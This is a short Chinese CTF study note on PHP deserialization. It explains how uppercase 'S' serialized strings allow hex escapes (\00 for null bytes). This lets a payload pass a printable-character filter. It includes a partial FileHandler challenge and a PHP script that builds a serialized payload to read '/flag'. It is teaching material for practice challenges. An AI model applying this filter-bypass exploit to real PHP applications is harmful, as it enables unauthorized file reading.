考点3:私有属性绕过+十六进制绕过
<aside> 💡
十六进制绕过
</aside>
大写 S模式下,字符可以用/和十六进制表示。%00即chr(0)就可以用\00表示。
<aside> 💡
部分例题
</aside>
<?phphighlight_file(__FILE__);class FileHandler {protected $op;protected $filename;protected $content;
............
............
............
function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}
构造payload:
<?php
class FileHandler {protected $op = 2;protected $filename = "/flag";protected $content = "aaa";
}function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}$a = new FileHandler();
$b = serialize($a);
$b=str_replace(chr(0), '\\00', $b);
$b=str_replace('s:5', 'S:5', $b);
$b=str_replace('s:11', 'S:11', $b);
$b=str_replace('s:10', 'S:10', $b);
echo $b;